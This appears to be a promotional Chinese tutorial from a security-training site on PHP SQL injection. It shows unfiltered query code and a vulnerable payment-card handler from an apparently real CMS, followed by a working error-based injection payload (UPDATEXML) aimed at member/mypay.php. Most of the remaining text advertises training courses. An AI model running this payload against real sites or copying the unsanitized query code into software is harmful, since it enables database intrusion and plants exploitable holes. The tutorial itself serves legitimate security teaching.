【Web安全】几行代码轻松搞定SQL注入
进入正文前,先插播一条内容:
距离福袋活动(ichunqiu.com/2019newterm)结束仅剩1天,活动结束优享会员、热门课程等立即恢复原价,还没参与的小伙伴请抓紧抢福袋,福袋限时限量,手慢无!
快速抢购通道
ichunqiu.com/2019newterm
(仅限PC端体验)
1
进入正文
要想学好Web安全,有一个知识点一定绕不过,就是这个SQL注入。所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名、页面等请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有的应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞网站上的数据库,而不是按照设计者意图去执行SQL语句。
今天,i春秋与大家分享的是PHP代码审计之SQL注入篇,希望对大家的学习有所帮助。
下面是我们的注入文件:
首先我们看一下代码:
1
2
3
|
mysql_connect(
'localhost'
,
'root'
,
'root'
);
mysql_select_db(
'test'
);
mysql_query(
"set names gbk"
);
|
这是数据库配配置。
1
|
echo
$id
=
$_GET
[
"id"
];
|
大家可以看见这是直接输出这个GET的值。
1
|
$sql
=
"select * from book where id=$id"
;
|
然后这里直接进行SQL语句的:
1
|
(
$row
=mysql_query(
$sql
))
|
这里直接进行查询SQL语句:
1
|
$rows
=mysql_fetch_array(
$row
)
|
利用这一串代码直接取值
1
|
var_dump(
$rows
)
|
然后进行打印输出没有任何的过滤,所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
现在我给大家找个案例演示一下:漏洞文件member/mypay.php(14-40行)
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
if
(
empty
(
$_SESSION
[
'duomi_user_id'
])){
showMsg(
"请先登录"
,
"login.php"
);
exit
();
}
elseif
(
$dm
==
'mypay'
){
$key
=
$_POST
[
'cardkey'
];
if
(
$key
==
""
){showMsg(
"请输入充值卡号"
,
"-1"
);
exit
;}
$pwd
=
$_POST
[
'cardpwd'
];
if
(
$pwd
==
""
){showMsg(
"请输入充值卡密码"
,
"-1"
);
exit
;}
$sqlt
=
"SELECT * FROM duomi_card where ckey='$key'"
;
$sqlt
=
"SELECT * FROM duomi_card where cpwd='$pwd'"
;
$row1
=
$dsql
->GetOne(
$sqlt
);
if
(!
is_array
(
$row1
) OR
$row1
[
'status'
]<>0){
showMsg(
"充值卡信息有误"
,
"-1"
);
exit
;
}
else
{
$uname
=
$_SESSION
[
'duomi_user_name'
];
$points
=
$row1
[
'climit'
];
$dsql
->executeNoneQuery(
"UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'"
);
$dsql
->executeNoneQuery(
"UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'"
);
$dsql
->executeNoneQuery(
"UPDATE duomi_member SET points=points+$points WHERE username='$uname'"
);
showMsg(
"恭喜!充值成功!"
,
"mypay.php"
);
exit
;
}
}
else
{
|
大家可以清楚看见此处的“cardpwd”变量没有进行过滤就以POST提交方式传入了数据库造成注入。
构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
以上是今天分享的内容,大家看得过瘾吗?
其实Web安全包含的漏洞类型有很多,需要我们掌握的知识点又比较零散,学起来相对会吃力些,大家若想深入了解,可以选择Web安全的相关课程进行系统学习。
线上培训
线上培训课程优势:学习时间灵活,随时随地都能学习,还可以反复看课,学习过程中的疑惑可随时请教,少走很多弯路。
提高班
实战班
入门班
值此国庆节来临之际
i春秋Web安全线上培训课程超值钜惠
10月1日—7日
通通七折钜惠
课程详情
线下面授
i春秋渗透测试工程师第四期广州线下就业班火热报名中,想要参加10月份学习的童鞋们,请速来报名!
为了保证课程质量,所有班次都是小班教学,每班仅限30人,名额有限,报满即止!
快速报名通道
现在报名即可参加开学季拼团活动,3人即可成团参与优惠,团内人数越多,优惠力度越大。
优惠详情咨询谢老师:18513200565。
毕业证书
已入职的学员
i春秋是国内知名的网络安全培训机构,在i春秋学院参训学员将统一人才管理,并有机会入职国内知名安全企业。
企业涵盖国内一线主流安全企业将近200家,包括启明星辰、绿盟科技、天融信、360、蚂蚁金服、国美电器、兴业银行、百度等知名一线安全企业。
面向人群
在校学生、IT从业者、毕业生、找工作人群、对Web安全感兴趣人群、面临转行人员。
报名条件
计算机基础及相关计算机专业
学习时间
线下就业培训4个月,周一至周五早9-晚17点授课,每天不少于6学时。
课程目标
学完后,你将掌握漏洞原理,熟悉Web漏洞查找、利用、修复加固,掌握内网渗透实战技术;具备独立完成项目实战的能力。
课程介绍
渗透测试就业班培训课程由i春秋教研组结合众多安全企业需求制定的网络攻防课程。培养方式从理论基础+线上实验环境+CTF比赛+企业虚拟靶场环境,全方位立体化教学来打造全新的职业培训体验。
课程优势
平台
专业的线上、线下实验环境、SRC挖洞、CTF、AWD、综合实战靶场平台。
提供实战项目教学,模拟靶场渗透演练,提升实战技能。
师资
双师模式促学机制,线上、线下实战经验丰富的专业授课讲师。
双1+2+3模式以集中化的授课模式,高素质讲师授课,预留课余答题时间。
每班配备线上助教负责全班学生的制度管理,基础问题解答,作业批改及考试服务。
课程环境
四个月的脱产学习,你将学会渗透测试、漏洞挖掘、漏洞利用、漏洞修复、代码审计、安全脚本编写、SRC挖洞、CTF比赛、综合实验靶场练习等内容。
认真听讲的同学们
课后生活
四个月的脱产学习会很枯燥吗?
当然不,告别“填鸭式”教学,倡导劳逸结合,课后生活更加丰富多彩,搭配各种零食和饮料,嗨并快乐着!
开学第一天,还有好玩的开学典礼和破冰游戏。
考核证书
课程学完后可以报考:
CISAW-Web安全证书颁发机构中国网络安全审查技术与认证中心
中国信息安全测评中心CISP-PTE认证
在目前可以通过考试获得的国家认证证书中,CISP-PTE(渗透测试工程师)证书的含金量是最高的。
开班典礼
渗透测试工程师线下就业班成都站开班典礼
渗透测试工程师线下就业班北京站开班典礼
通过以上内容的介绍,如果还有其他疑问,欢迎大家前来咨询,我们会有更专业的老师为你讲解,给你答疑解惑。
咨询快速入口
End
热门回顾
/十一
/热点
前沿的网络安全技术
简单易懂的实用工具
紧张刺激的安全竞赛
还有网络安全大讲堂
更多技能等你来解锁